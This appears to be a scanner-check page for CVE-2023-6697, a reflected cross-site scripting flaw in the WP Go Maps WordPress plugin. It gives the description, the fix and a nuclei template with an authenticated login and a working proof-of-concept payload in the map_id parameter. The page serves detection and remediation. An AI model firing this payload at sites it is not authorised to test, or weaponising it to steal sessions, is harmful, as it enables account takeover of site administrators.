CVE-2023-6697· wpgmaps / wp go maps· CWE-79
WP Go Maps (formerly WP Google Maps) < 9.0.29 - Cross-Site Scripting
The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Impact
Authenticated users can inject malicious JavaScript via reflected XSS in the map_id parameter, potentially stealing administrator session cookies or performing administrative actions.
Fix
Update WP Go Maps plugin to version 9.0.29 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1aa%27\"><img+src%3Dx+onerror%3Dalert%28document.domain%29>
Positive when: contains "<img src=\"x\" onerror=\"alert(document.domain)\">" and "Map Alignment</legend>" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-6697 -u <target>
The full check
id: CVE-2023-6697
info:
name: WP Go Maps (formerly WP Google Maps) < 9.0.29 - Cross-Site Scripting
author: iamnoooob,ritikchaddha
severity: medium
description: |
The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the map id parameter in all versions up to, and including, 9.0.28 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
impact: |
Authenticated users can inject malicious JavaScript via reflected XSS in the map_id parameter, potentially stealing administrator session cookies or performing administrative actions.
remediation: |
Update WP Go Maps plugin to version 9.0.29 or later.
reference:
- https://wpscan.com/vulnerability/ffcebd9d-82fe-4a30-8ad6-cf6c03753d4c/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6697
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-6697
cwe-id: CWE-79
epss-score: 0.0104
epss-percentile: 0.64294
cpe: cpe:2.3:a:wpgmaps:wp_go_maps:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
fofa-query: body="/wp-content/plugins/wp-google-maps"
vendor: wpgmaps
product: wp_go_maps
tags: cve,cve2023,wp,wp-plugin,wordpress,xss,wp-go-maps,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1aa%27\"><img+src%3Dx+onerror%3Dalert%28document.domain%29> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src="x" onerror="alert(document.domain)">'
- 'Map Alignment</legend>'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/ffcebd9d-82fe-4a30-8ad6-cf6c03753d4c/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6697
Use this check only on systems you are authorised to test. Where the data comes from